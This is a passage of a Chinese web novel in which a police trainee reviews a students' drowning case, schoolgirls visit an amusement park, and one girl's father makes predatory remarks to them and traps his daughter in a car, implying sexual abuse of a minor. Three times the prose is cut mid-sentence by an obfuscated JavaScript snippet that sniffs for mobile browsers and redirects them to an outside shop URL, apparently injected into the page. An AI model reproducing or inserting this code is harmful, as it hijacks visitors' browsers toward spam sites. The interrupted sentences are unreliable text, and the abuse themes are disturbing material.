“关你屁事,你特么算什么东西你?”蓝父忽然眼珠子一转,“我还把你们忘了——宣城四中,你们校领导在哪里,让他滚到公安局来,你们学校竟然不好好监管,我孩子现在死了,你们也得赔偿!” “我之前已经说过了,学校一直在努力地警告同学们不要私自爬山下河。”傅昭一点也不生气,“您就是起诉学校也没有意义。” 旁边默不作声的关野说道:“我也想问问各位家长,平时有没有关注过孩子的交友问题,半夜结伴上山,这关系可不是一般的好。” “你什么意思?”家长中的其中几个顿时跳了起来,不用想也知道是两个女学生——蓝茵和袁秀秀的父母。 袁母说道:“我们家小孩平时都很乖,根本不和男同学来往的,你别血口喷人!” “就是,我们家茵茵才不会跟不三不四的人接触!” 这两家情绪激动,说的话自然好听不到哪儿去,剩下三个男孩的家长顿时不乐意了:“你什么意思啊,谁不三不四了?” “谁被说中了谁不三不四呗!”蓝父叫嚣,“说不定我女儿就是被骗上去的,要不然她可能半夜一个人跑出家吗?” 这约等于指控的话,顿时就让其他人变了脸色,有个一直抱着手臂站在角落里的女家长忽然开口道:“谁说的她不可能?” “上次是谁当小偷潜入我家被发现,还是她爸亲自来领的!” 蓝父怒道:“那特么是蓝茵当小偷吗,是你们家王金骗小姑娘,要跟她——唔唔!” 后面的话被蓝母拦了下来,王金母亲冷笑:“说啊,怎么不说了,哦,怕人知道你们女儿才是那个‘不三不四’的人啊? 我活这么大还没见过哪个小女生给人说两句就自己送上门的,方便面呀你,那么好泡!还想趁我睡觉偷我钻戒,想得美!” “少说两句,你们都少说两句——” 蓝父把男人的手挥开:“你特么也不是个好东西,生了两个,两个都是混社会的,活该被学校警告,流氓、太妹!” “你怎么说话呢!” “想打一架是不是!” “你打啊,你儿子就跟你一样,暴力狂,反社会人格!行啊,这里是公安局,你打老子一下就等着赔得倾家荡产吧你!” …… 比刚刚更加混乱了,旁边的警员们纷纷上去劝架, 舒任脸色阴沉,制服穿在身上,这对他是一种支撑,却也是一种限制,至少在眼下这个当口,他不能再说出更过激的话刺激这群家长。 尽管他现在感觉这群人根本不配叫做家长。 甚至再讨厌这群人,也只能先把他们拉开,不能再让冲突进一步扩大。 “实在对不起,本来是想来公安局能帮上些忙,再怎么样,那曾经也都是四中的学生……” 傅昭走了过来,关野一瘸一拐地跟在后头,两人此刻都是狼狈不堪,脸上的水虽然擦干了,但身上和头发上的水都已经浸了进去,看上去就跟落汤鸡差不多。 但他们情绪还是很稳定,被家长们指着鼻子骂得狗血淋头,也没有表现出什么负面情绪,反而还主动和舒任道歉。 “在学校都习惯了,没想到在公安局也会这样……”傅昭很抱歉,“没耽误你们的工作吧。” 见舒任摇摇头,傅昭这才松了口气:“那就好,那就好。” “这群孩子平时在学校的表现怎么样?” “比较活跃,之前有一些不太好的习惯,但我们老师也在努力帮他们纠正,其实这学期开学以后已经好很多了,我还打算等这次月考成绩出来以后,好好表扬他们一下。”傅昭语气里充满了遗憾,“……没想到会出现这种事。” “关老师呢。” “和傅老师的情况差不多。”关野简洁扼要地说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13368540|140782||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道,“之前走访的时候我提到过,青春期是比较重要的,一个处理不好就会出现逆反心理,需要家校配合。” 傅昭耸了耸肩,显然两个班主任都在家长那碰了不少钉子。 “时间也不早了,你们早点回家吧。”舒任看着傅昭额头被水贴得紧实的额发,结束了这个话题,“如果还有什么线索证据,欢迎随时提交给警方。” “好的好的,实在是不好意思,辛苦了。” …… “怎么去了这么久?”老闫看向门口一脸疲惫的徒弟,笑了一声,“累了?” “……心累。” 警校里当然也会讲这些案例,包括刑事案件里面如何和受害者甚至凶手家属打交道,这都是学问。 但真的实际接触后,舒任发现学校里教的那些理论在实践面前还是太不够看了。 想到过家长会不认可他们的判断,也想过会出现难以沟通的情况,甚至导致案件无法继续推进,但受害者家属攻击完警方,又开始攻击学校,彼此之间还忽然撕起来,当众开始抖搂对方孩子的“黑历史”…… 舒任是真的听不下去。 “在这行待得越久,越是会觉得人心难测。”老闫感叹道,“然后呢,那两个班主任来做什么?” “听说班上学生出了事,想看看有没有什么帮得上忙的,可能是想安抚家属情绪。”舒任想起两人一身的水,给师傅简单提了两句。 老闫唔了一声,卷宗翻到后面走访的相关记录,这两人的确也在上面,当时走访的结果,和他们今天说的没什么出入。 他迅速把这件事抛在了脑后,拿着卷宗站起身来:“再和家属们谈谈吧,孩子刚走,可能他们也是一时气愤,咱们只能多担待一下了。” “如果他们始终带着这种抗拒的心态,彻底拒绝沟通,不得已也只能采取其他办法,看看法医那边到时候怎么说吧。” 连轴转对于一个中年男人来说,不异于拿命换成果,其他警员已经回去休息,正常开始了轮班,老闫是留守到这里的最后两个人之一。 他走到门口,却突然停下了脚步。 “舒任,你有什么想法吗?” 舒任愣了愣,同样的话,在一开始师傅就问过他一次,但那时候还只有初步的推测,现在卷宗上什么都很全,他回答得有些近身,“根据尸检结果和勘查结果、走访结果这些我们目前掌握到的证据,这是一起意外溺亡案。” “唔。”老闫不置可否,“‘目前掌握到的证据’,是吧?” “是。” “确实,就现在来看,没有任何疑点。”老闫悠悠地说道,“尸检一切正常,勘察一切正常,现场没有任何多余的痕迹,甚至偏偏是在一个深夜,没有监控,也没有目击证人,对我们破案来说可谓是顺理成章。” 他挑起眉,似笑非笑:“但是,世界上真有那么巧的事情吗?” “师傅,你的意思是……” “我什么意思也没有。”老闫朝他挥了挥手上的卷宗,“警察办案,讲究的是证据,我们只看证据——别忘了今天值班,我这身子骨老了,就折腾这么几天都快散架了,我得回家补个觉去。” “……好。” 舒任状态还好,和老闫换了班,上去值班办公室里坐着,总算能喘口气,但师傅的那段话仍然盘旋在他心头。 世界上真的会有这么巧合的事情吗? 舒任拿不准,他把卷宗再从头到尾看了一遍,却仍然看不出什么奇怪之处,一切都完美指向唯一结果:这就是一场意外溺亡事故。 思考许久想不出答案,反而让本就有些隐隐作痛的太阳穴更加鼓胀,舒任难受地揉了揉眉心,暂时把这件事放在一边,下意识掏出了直板手机。 ……对了,他还没回林语禾信息。 他想起林语禾之前给他的留言,原来国庆节那天,她真的和朋友一起去了新开的新世界游泳馆,不过她竟然差点在泳馆淹死,这是他完全没想到的。 舒任记得老舒说过,六中是有游泳课的,还是初中必须要上,林语禾难道不会游泳? 他思绪一时有些复杂,打开诺基亚的屏幕,上面跳出了一条新的留言。 【她叫姜晓阳,也是你们的四中的诶,你认识吗?】 姜晓阳? 舒任挑了挑眉,这个名字隐隐约约好像是有些印象,但过去十年,就是同班同学不联系也已经变得模糊,更不要说不是同班的。 舒任看着屏幕上的对话,视线定格在林语禾上一条留言。 姜晓阳……游泳…… 他目光顿住了,随即从桌上找出之前师傅老闫让他看的那些卷宗。 压在最下头的那本,也是他最先看完的那册,翻开。 卷宗上的案件名称上写着【宣江集体溺亡事故】,案发时间为2010年10月8日。 信息表中的第一个名字—— 姜晓阳。 28. 第 28 章 “抱歉,我来晚了!” 姜晓阳赶到的时候,其余三人都已经到了好一会儿了,林语禾在客车站门口留着等她,许归苑和莫雨娜在车站里面看着时刻表,免得一行人误车。 她背了个包,气喘吁吁的,林语禾连忙拉着她就往里头跑,一边拿着5233给两个好友打字汇报。 【小禾才露尖尖角:我们进来了!】 她们定的首班客车,车都快开了,全靠莫雨娜和许归苑两个人在车门这儿站着软磨硬泡司机,才宽限了两分钟。 见她俩狂奔进来,连忙招呼她们一起上车。 还没等人坐下,客车的引擎声就轰鸣起来,随着车身微微的震动,窗外写着“和谐回家路,出行记守法”的红字横幅开始慢慢后退,几人分别在座位上坐了下来。 这天是几人约定一起去省城欢乐谷玩的日子,天还蒙蒙亮,她们就要从宣城坐车出发赶往省城。 “晓阳,你坐里面吧,我坐过道。”林语禾说道,“我有点晕。” 隔着过道,两个好友都扭过头来关心:“晕车?” “昨晚上没睡好,没事,等会开起来就好了。”林语禾有些尴尬,没想到自己竟然也有出门前的兴奋,一晚上翻来覆去和烙饼似的,快四点才彻底睡着。 “你要不睡一会儿吧,反正咱们开到省城还得有两小时呢。” 姜晓阳还有些气喘,从背包里翻出来一个小盒子:“小禾,你用这个试试看?” 林语禾接过来,这才发现盒子上写着“晕车”两个字,里头有什么肚脐贴、手腕贴、风油精,甚至还有一个橘子。 她小心地将手腕贴贴上,淡淡的麝香和薄荷混合的气味钻进鼻腔,让她整个人好受了一些,精神也清醒了许多。 “你家人给你准备的吗?” “我自己准备的。”姜晓阳羞赧地笑了笑,给林语禾看她的准备,原来背包里鼓鼓囊囊的,里面装满了各种各样的小盒子。 有的和晕车一样是药,什么治胃疼的还有感冒药,外用的碘伏和棉签,甚至还有纱布绷带。 还有的就是日用品,林语禾探头看了一眼,竟然还有一些小零食,姜晓阳拿出来分给她们,一人还分到一瓶300ml的矿泉水。 “……我第一次离开宣城,担心东西带得不够。” 林语禾睁大了眼:“真的假的,我也是第一次——” 看看自己空空如也的斜挎包,除了手机和餐巾纸、公交卡这些,还有个小钱包里面装了常女士给她的零花钱,其他什么也没带。 好吧,没有对比就没有伤害。 “你简直是我们几个里面准备得最齐全的!”林语禾差点下意识挽上对方的胳膊,想起上次在更衣室里的情景,又连忙撒开手。 “……我真是出门就太兴奋了,没吓到你吧?” 姜晓阳摇摇头,林语禾松口气,这才又主动和对方说起话来。 走道另一头,莫雨娜咳了两声,示意这边两人看过去。 “新手们,听我们两个前辈的安排!等会到了欢乐谷先买票,听说假期去要排很久的队,咱们分开排,到时候谁先排上谁就在群里喊一声,剩下的人过去会合……” 这辆车上除了她们几个年轻的面孔,其他都是带着鸡鸭鹅之类的家禽,又或是背着蛇皮口袋要进城讨生活的成年人。 莫雨娜正兴致勃勃地和众人分享她的计划,咳随着她说话,那些鹅也“咯咯嘎嘎”地叫起来。 像在和莫雨娜打擂台似的,声音都盖过去了,气得她想偷偷给那大鹅一巴掌,却又怕被大鹅把手啄了。 “我和晓阳一起吧。”林语禾提议道,“不然等会通知不及时。” “哦!我忘了,晓阳没有Q\Q,那行,你们俩一组,我和桂圆分开排,这样咱们也能同时排三个项目,没那么久。” “……抱歉。”姜晓阳有些不好意思,“我不会用Q\Q。” “注册一个呗!那么方便!”许归苑说道,“现在谁还不用Q\Q呀?” “桂圆别聊了,赶快过来帮我算一下等会几点能赶到。” “哦!” 姜晓阳笑了笑没说话。 “桂圆就是这样,想到什么就说什么。”林语禾帮好友解释,“不用放在心上。” 姜晓阳笑着摇了摇头,声音很温和:“没事,我知道的。” 林语禾嘿嘿一笑,还是觉得今天的队伍组成很神奇。 一开始提起去欢乐谷玩,是为了弥补之前没去爬临宣山的遗憾。 姜晓阳算是后来加入,林语禾邀请她的时候还以为对方会拒绝,毕竟在书店里,对方并没有表现得很热情,大多数时候都是林语禾在主动和她说话。 没想到最后晓阳竟然愿意和她们一起出去玩,甚至还这么贴心,什么东西都准备得很齐全。 “刚刚,你说你也是第一次去省城?” 林语禾回过神来,唔了一声:“我妈管我比较严,就这半个月宽松了一点,但出省还是不行,最远也只能到省城了。” 就这样,常女士还特地叮嘱她一定要把手机的声音打开,不要跟平时在家似的,动不动就弄个震动,家里打电话都接不到。 “不过能去省城我已经很高兴了,宣城现在哪条路上有几块砖我都能倒背如流,真的没什么地方好玩了。”林语禾幻想道,“等我上了大学,想去哪儿就去哪儿。” 许归苑调侃:“等会考省城来读大学,你就哪儿也去不了了。” 林语禾没好气地白了她一眼:“才不会呢!” 她转过头来,身边的姜晓阳正怔怔地听着她们的对话,好像在出神,她轻轻地拍了一下对方肩膀:“晓阳!” “……嗯?” 林语禾把手上开封的零食递过来:“一起吃呗,你带来的,你自己不吃那多不好。” 姜晓阳愣了愣,轻轻地说了声好,林语禾顺势就把话题转到了欢乐谷上。 一路吃吃聊聊,时间仿佛一转眼就过了。 这条线路客车会先经过欢乐谷再到省城市区,莫雨娜提前就到前边儿去和司机大叔磨了两下,让对方停在了距离欢乐谷更近一点的站点,临停一分钟放她们下车。 等一行人赶到欢乐谷的时候,天色已经大亮了,园区里头已经排起了长蛇阵,莫雨娜连忙指挥众人先去排过山车,排了足足有一个小时,才终于轮到她们。 林语禾还是第一次尝试这么刺激的项目,看上去很吓人,实际上坐着也确实很可怕,从上面下来整个人都快软成一团烂泥,再回头过看……好吧,许归苑和莫雨娜正抱在一起吓得哭呢。 唯一一个情绪从头到尾都很稳定的竟然是姜晓阳,坐一圈过山车下来,她就像没事人似的,自诩老前辈的莫雨娜很不服气,坚持要挑战大摆锤和旋转飞盘。 结果最后姜晓阳一点没事,她反而是找了个垃圾桶干呕了半天。 “你怎么那么厉害……”林语禾也头晕得不行,全靠姜晓阳给她太阳穴又贴了晕车贴,才好过了一些。 不远处,莫雨娜呕得欲生欲死,许归苑在旁边帮她拍背,看上去也有些到极限了,没过多久两人才回来:“我们去买冰淇淋,你俩要什么口味的?” “香草!”林语禾不假思索道,“没有的话就香芋。” “晓阳你呢?” “我和小禾一样吧。” 许归苑记下,和莫雨娜手挽手去买冰淇淋,过了会儿,一人拿着两只火炬冰淇淋回来。 “喏,两支香草,你们俩分。”许归苑把冰淇淋递过来,顺势在林语禾身边坐下,“我的是巧克力。” “我是草莓味的~”莫雨娜也跟着坐下,四人坐在一张长椅上,一只手拿着冰淇淋小口小口地舔,另一只手撑在身后,清风徐来,空气里没了九月的暑气,但又不像是冬天那么冰冷,反而让人觉得昏昏欲睡。 “今天天气真好。”林语禾幸福地眯起眼,“又不会很热,不怕冰淇淋化掉,把手弄脏。” 许归苑也感叹:“天气预报说今天晴天,没想到还真是晴天。明明去游泳那天也说出太阳,结果咱们从书店出来就下雨,突然降温,差点给我冷感冒了。” “还好小禾那天带伞——嘶!”莫雨娜啃了一口最顶上的冰淇淋,刺骨的寒意顿时让她打了个激灵,“不过你怎么记得要穿外套啊?咱们三个就你一个人穿得最多。” 林语禾笑眯眯:“外星人告诉我的!” “这人又贫起来了!”两个好友一前一后伸手过来挠她痒,林语禾被挠得笑个不停,连连往旁边躲,全靠姜晓阳扶着,否则她就要从椅子上摔下去了,“我的冰淇淋,等会要掉了!” 许归苑和莫雨娜这才消停下来,“善心大发”地让林语禾继续舔她的冰淇淋,欢乐谷的冰淇淋的确不便宜,就这么一个火炬都要10块钱,可奶味也是真的足,下面的蛋筒口感也很脆,带着一点点焦香味儿。 一连吃下大半个,三人这才感觉舒服了许多,凉凉的冰淇淋在胃里把翻江倒海的感觉压了下去,转头看,姜晓阳还斯斯文文地小口小口品尝着。 “晓阳,你真的一点难受的感觉都没有啊?” 姜晓阳笑了笑:“还好,我忍耐力比较好。” “说真的,晓阳你要不去考女飞行员吧,坐这么多项目竟然一点不晕,这完全就是天赋啊。”莫雨娜羡慕地啃了一大口,毫不意外地呛咳起来,“女飞行员还酷得很呢。” 林语禾幻想了一下那个画面,该说不说,姜晓阳手长腿长,真要是当了女飞行员,那穿着制服肯定很有范。 她转而又想起了那天水里的人鱼:“不对,晓阳以后肯定会当运动员吧,游泳那么厉害。” “是啊,她爸爸是那个跨江游泳冠军嘛。”许归苑也说道,“那个泳馆看起来就很高级,在里面当教练感觉也不错。” 姜晓阳抿了抿唇,看着头上越升越高的太阳:“下一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13368541|140782||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 项目玩什么,我去排队?” “啊对——”莫雨娜又精神起来了,“排那个旋转飞椅,那个特别好玩!” “好。” 姜晓阳背着包过去排队,许归苑挠了挠后脑勺:“我刚是不是又说错话啦?” “晓阳好像不太喜欢提起泳馆的事情。”林语禾说道,“之前在泳馆碰见她爸,她也是突然就不说话了。” “她爸很凶?” “没有很凶……”林语禾斟酌着,见姜晓阳背影渐渐隐入人群里,她还是压低声音和朋友说道,“感觉说话有点奇怪,特别自来熟。” “爸妈那一辈都是这样的,开口就是哥啊姐的,要是晚辈就说什么‘你小时候我还抱过你’,跟谁关系都好似的,好像不这么做他们就浑身难受。” “也是,而且晓阳爸爸还是当教练的,也很正常。” 林语禾的手机震动了起来:“诶,晓阳叫我们过去——这么快就排到了!” “快走快走,这家旋转飞椅特别好玩!” …… 直到夕阳西下,四人才从欢乐谷出来。 但这会儿她们可没有早上来的时候那么从容了,每个人都在使出全身的劲儿拔腿狂奔,一边跑还一边拌嘴。 “这么晚,要赶不上车了——桂圆你也太坑了,就不该听你的去玩什么侏罗纪世界!” “怎么怪我呀,你们不也很喜欢吗,4D动感电影,其他地方想看还看不到呢!” “什么4D,颠得我屁股疼,水还喷我脸上了……” “屁股疼你还嚷嚷要看两次——” 林语禾累得气喘吁吁,原本一行人下午四点多就打算回宣城,结果不知道许归苑从哪儿弄来了一张传单,写着什么“4D互动电影侏罗纪世界,省城欢乐谷首发”,提议众人去看一眼。 这一看,就排上了队,等她们看完了再出来,时间早就过了五点,往六点跑的速度比她们这会儿跑起来都快,幸好欢乐谷距离客车站倒是不远,四人一口气狂奔到站点里,许归苑直接扑到了窗口前。 “四张去宣城的客车票!” 里头的售票员懒洋洋地抬起头来:“没了。” “啊?”莫雨娜挤了过来,“什么叫没了,最后一班不是五点四十五的吗!” “没票了呀,人齐车就发走了。”售票员抬头看一眼墙上的钟,“三分钟之前就走了。” “啊——” 众人发出一阵哀嚎,宣城是省城下属的一个小城,当然不可能像大城市那样班次众多,一天就拢共那么几班车,车票要是没卖完,那就等到了发车时间再走,要是提前卖完,司机也会提前发车。 至于乘客们——乘客们当然乐意了,这个点去宣城的基本都是为了回家,谁都想着早点到家。 但没赶上车的,就一点办法也没有了,这节骨眼上也不可能再发一班车出来,林语禾还不死心,撑着检票口的栏杆一跳一跳地往外看,根本连客车的影子都看不见,一眼都能看到客车出去的大门。 “别看了,真没车了,我们马上也要下班了。”售票员喝了口水,合上水瓶砸吧了下嘴,“我给你们个提议,打黑车回去吧,反正这附近黑车很多。” “黑车,那也太危险了……” “你们自己商量呗,反正这儿是肯定没车了,我就随口这么一说,可不是给你们出主意啊,坐不坐的都不关我事。” 几人你看看我,我看看你,只好垂头丧气地往客车站外头走,林语禾心里有些乱,没想到第一次来省城就出了这么个意外,但这紧要关头,哪怕是挨宰也只能硬着头皮挨了,总不能今晚上不回宣城吧! 林语禾想到常女士冷笑的样子,背后就直冒鸡皮疙瘩,她要是真敢那么做,估计这个国庆节都别想出门了。 眼看着天色越来越黑,众人的心情也越来越焦躁,前前后后地走到客车站外的路边,踮起脚尖张望。 好巧不巧,对面还真有几辆看上去黑漆漆的桑塔纳,当头的那个鸣了两声笛,脑袋从主驾窗户里探出来:“去哪儿,要不要坐车啊?” “坐黑车?” “……” 看着那司机身上的背心,几人心里都有些发怵,见她们不说话,那司机打了个转向灯,就打算掉头过来到她们这边,林语禾心里还是打鼓,扭头却正好远远地看着一辆蓝色的车驶来。 省城和宣城一样,蓝色的是出租车! 林语禾眼睛一亮,顾不上那还在扯着嗓子叫价的黑车司机,跳到马路牙子上挥起了双手。 那车打着右转灯缓缓地靠了过来,等它近一些,林语禾才发现那不是一辆出租车,而是一辆私家车。 窗户慢慢地摇了下来,里头露出一张她曾有过一面之缘的脸,姜国栋先是瞥了一眼那黑车司机,随即笑呵呵朝她们招了招手,目光定格在了姜晓阳的脸上。 “有自己家的车,还打什么黑车,来,赶紧上车,爸爸接你们回家。” 29. 第 29 章 姜叔叔怎么会在这,难道是晓阳担心她们回不去,所以赶紧通知了家里人? 可宣城离省城开车也得一个小时多,就算是到车站那会儿和家里说,也来不了这么快。 林语禾看向姜晓阳,却发现对方表情有些阴郁。 “愣着做什么,来,赶紧上车,不然回去天都要黑了。”姜国栋还是笑呵呵的,像是看不见女儿的表情一样,“等会这几个小同学,她们爸妈可要担心了。” 姜晓阳垂下眸,就要去拉后座的门把手,姜国栋却“哎”了一声:“晓阳,坐爸爸旁边来。” 那只手在空中停住了,随即慢慢地滑落下来,拉开了副驾驶的车门。 剩下三人你看看我,我看看你,许归苑用嘴型问林语禾“现在怎么办”,林语禾摇摇头,现在还能怎么办,黑车和姜家的车之间,那肯定只能选后者啊! “麻烦你了姜叔叔。” 姜国栋调整了一下车内后视镜:“这有什么好麻烦的,系好安全带啊,那咱们现在就出发了。” 回宣城的路前几年修了高速,上了收费站之后车速就快了起来,许归苑和莫雨娜都是第一次和姜晓阳的爸爸打交道,见到“冬泳冠军”真人,在后座鼓捣了半天把手机拿出来在Q\Q群里头讨论。 【桂圆八宝粥:我去>_ 【NANA:有啥紧张的,你问问人家叔叔还接不接学生呗,你不是成天嚷嚷要学更厉害的游泳技术】 【桂圆八宝粥:算了吧,太尴尬了,我都不知道要说什么】 【NANA:晓阳上车也不说话了T_T她要是说话,我还能接两句】 林语禾抬起头,她坐在最右侧的位置,正好能窥见副驾驶座上一角,姜晓阳撑着下巴看着窗外,这个动作仿佛上车之后就没变过了,少女挺翘的鼻尖和修长的手指在缝隙中染上一点夕阳的橘红色。 她对这样的姿态有些眼熟,仔细回想和常女士不对付的那几年,母女俩一起出门,自己似乎也总是这样,假装看天空发呆,实际上只是为了摆出这样抵抗防御的姿态,不愿意和对方交流。 再想想刚刚在车下晓阳的神情……她和爸爸关系似乎不太好。 林语禾低头打字。 【小禾才露尖尖角:看样子晓阳来省城玩,家里估计不同意】 【桂圆八宝粥:那晓阳等会岂不是回家要挨骂?咱们要不要帮忙说说好话啊,毕竟是我们找她来的……】 【NANA:你还好意思说,要是你丫不拉着我们去看那个破恐龙,晓阳还不会给她爸抓住呢!】 【桂圆八宝粥:>0 【小禾才露尖尖角:别吵啦,回去不是还有一段时间吗,看看能不能跟她爸爸搭上话求个情吧】 林语禾放下手机,正想说些什么,却正好和后视镜里头男人审视的双眼对上,她眨了眨眼,姜国栋又恢复成了平时笑呵呵的样子:“小同学,是叫林语禾对吧?” “对。” “你也是四中的?” “啊……不是,我是六中的。” “六中啊,那可是个好学校,可惜我们家晓阳去不了,只能在四中混个日子了。” 林语禾想起舒任,小小地辩解道:“四中也挺好的。” “呵呵,小林同学真会说话。”姜国栋在后视镜里看了她一眼,“这两位同学也都是六中的?” 许归苑正和莫雨娜在群里激烈讨论要怎么帮姜晓阳“开脱”,闻言立刻答道:“对,我们和小禾是同班同学,那天我们一起去的游泳馆。” 【桂圆八宝粥:不管三七二十一,先套个近乎!】 “哦?你们也喜欢游泳?”许归苑提起游泳的话题,显然对姜国栋来说比较熟悉,他笑了笑,“想学游泳的话,我可以帮你们问问泳馆,帮你们打打折。” “我们俩是会游泳的,就小禾不会。” “小禾?” “我的小名。”林语禾有些不好意思地用手肘戳了戳莫雨娜,压低了声音,“在外面叫我全名嘛!” “呵呵,没关系,小禾这名字多好听,要是我有……再有个女儿,她名字就该叫小禾。”姜国栋说道,“你们见过禾苗没?哎呀,那禾苗抽条的时候,那长得就越来越纤细,越来越修长,多美……跟幅画似的。” 这话林语禾不知道要怎么接,从来也没有人从这么刁钻的角度来夸过她的名字,她干笑了两声,副驾驶上忽然响起了背包拉链拉开的声音,紧接着从靠近门这边的缝隙里,白皙的手捏着药盒子递了过来。 “晓阳?” “贴一下晕车贴,睡一觉吧。”姜晓阳背对着林语禾,声音似乎也比平时要远一些。 姜国栋皱了皱眉,随即又笑道:“小禾晕车?别担心,叔叔开车很稳的,你要是不舒服,就多聊聊天,说说话就过去了。” 眼见着父女俩似乎又为了这件事要闹矛盾,林语禾连忙打断了他们的对话:“没事没事,里面不是还有一个橘子嘛,我吃橘子缓缓就好了。” “我也要我也要,给我一瓣。” “那我也要。” 许归苑和莫雨娜显然也不想车里气氛太剑拔弩张,也跟着附和起来,只是Q\Q群里她们明显不是这个想法。 【桂圆八宝粥:好酸:(】 【NANA:我这个月都不想吃橘子了!】 “呵呵,年轻的女孩子就是有活力,不像我这样的老男人,已经对什么都提不起兴趣了。”姜国栋调侃道。 三人哪敢接这话,许归苑连忙说道:“叔叔不是喜欢游冬泳吗?” “哈哈,现在的女孩子竟然还关注这个,我还以为你们更关心学校里的哪个男同学更帅呢?” “那可不敢关注,要是被班主任知道要当成早恋骂死。” “早恋确实不好。”远远地已经能看见指向宣城的匝道标识牌,姜国栋往右打了一下方向盘准备下道,他又看了一眼内后视镜,“你们这个年纪的小男生什么也不懂——他懂什么是爱吗,他懂怎么疼爱女人吗,他什么都不懂。” “真要找男朋友,还是要找成熟的男人,像我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13377345|140782||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样的,是不是晓阳?” “……你专心开车吧。”姜晓阳抿紧了唇。 姜国栋笑了笑:“这孩子,我开个玩笑,怎么又跟我闹气呢。” 后座三人脸上的笑容都有些尴尬,这会儿都有些后悔怎么话题就绕到这种让人不会回答的问题上了,莫雨娜假装咳嗽,在群里迅速打了一句。 【NANA:小禾快装睡!】 林语禾手机震动起来,她瞥了一眼,莫雨娜跟着就靠了过来,给她太阳穴和手腕都贴上了晕车贴:“还是晕车?你听晓阳的睡一会儿吧,睡醒就到了。” 贴这么多怎么可能睡得着! 林语禾嗔了好友一眼,还是乖乖地闭上眼,用斜挎包垫着脑袋,歪着头开始装睡,一开始她心里还惦记着只是做做样子,但不知道是不是因为在欢乐谷玩得尽兴太累,慢慢地还真睡着了。 等她再睁开眼的时候,汽车已经驶入了宣城城区,莫雨娜正使劲戳她后腰:“叔叔,就在六中门口停就好了。” “嗯?你们住哪儿,叔叔可以送你们回去。” “不用了不用了!我们要去学校一趟拿东西!” 林语禾也附和道:“我们等会还要去找班主任问事情,谢谢姜叔叔的好意了。” 姜国栋从后视镜里看了她一眼,这才笑道:“行,那叔叔给你们放学校门口。” 汽车拐了个弯,在宣城六中门口停住,国庆假期,学校门口的人流量小了许多,三人下车,又感谢了几句,林语禾敲了敲副驾驶的窗,窗户摇下来,她冲里面坐着的姜晓阳笑了笑:“下次一起玩!” 姜晓阳看着她,慢慢地也弯起了眉眼。 “好。” …… 汽车绝尘而去,林语禾和两个好友对视一眼,慢慢地踱到了学校旁边的小卖部门口。 “总算是下车了,刚刚在车上真有点难受。” “干嘛,咱们三个人坐着挤呀?我还坐中间,脚底下还有小地台呢!” “不是这个啦……”许归苑组织着语言,“总感觉晓阳她爸爸,说话奇奇怪怪的。” “中年男人不是都这样吗?”莫雨娜疑惑,“我爸说话也是特别自来熟,上次小禾也这么说。” “不是这个!”许归苑没想到好友居然这么迟钝,她跺了跺脚,“我也说不出来,反正不是自来熟,就是有点让人心里毛毛的,特别是跟小禾说话的时候。” “我?” “对呀,感觉油腻腻的。” “咚咚咚”,三人转过头,小卖部老板神色不善地叉腰站在她们身后拍了拍玻璃台面:“你们买不买东西,不买别挡着我做生意啊!” 三人面面相觑。 “不说了,赶紧各回各家,快走快走!” …… 另一边,蓝色小轿车缓缓地驶入了一座地下停车库里。 在车位上停好以后,姜晓阳抿着唇,立刻去拉车门想要下车,却没能拉动。 “咔哒”一声轻响,全车的所有门锁一起落了下来。 30. 第 30 章 “晓阳,怎么那么急着走呢,不想留下来陪爸爸说说话么,嗯?” “……” 姜晓阳沉默着,抗拒回头与对方对视。 姜国栋舔了舔嘴唇。 “想不想知道爸爸怎么找到你的?”他慢慢地说道,“你去过所有的地方,爸爸都开车亲自找了一趟,你见过的每一个人,爸爸都去问了他们……多么惊人,谁也不知道我的乖女儿跑到哪儿去了。” “可惜我的小宝贝,似乎不知道电脑搜索记录是能看到的,要不是看到上面有省城欢乐谷的地址,爸爸还真不知道你去哪儿了。”姜国栋用手指慢慢地顺着姜晓阳的头发,像是丝绸一样的触感让人格外着迷。 “我的乖女儿连骗人都学会了,是跟谁学的,嗯?” “……” 无论他说什么,副驾驶座上的少女都仿佛一座僵硬的雕像,没有丝毫回应,就连眼神也不曾往他那边看一眼,与下午他赶到省城时那个与好友手挽着手笑得阳光明媚的女孩完全不同。 怎么就偏偏对他这样疏远呢。 怎么就是不愿意好好地看着他,他对她多好呀,这世界上难道还有比他对她更好的男人? 愤怒,让他心火中烧。 “怎么不说话,晓阳,爸爸说过很多次了,你不说话的时候,爸爸这心里就痛得不行,这一痛,爸爸就忍不住想把什么东西弄坏……对了晓阳,你是不是很喜欢小禾?” “爸爸也很喜欢小禾,像是你小时候刚来姜家的时候,那么天真烂漫,多干净,多可爱啊。” 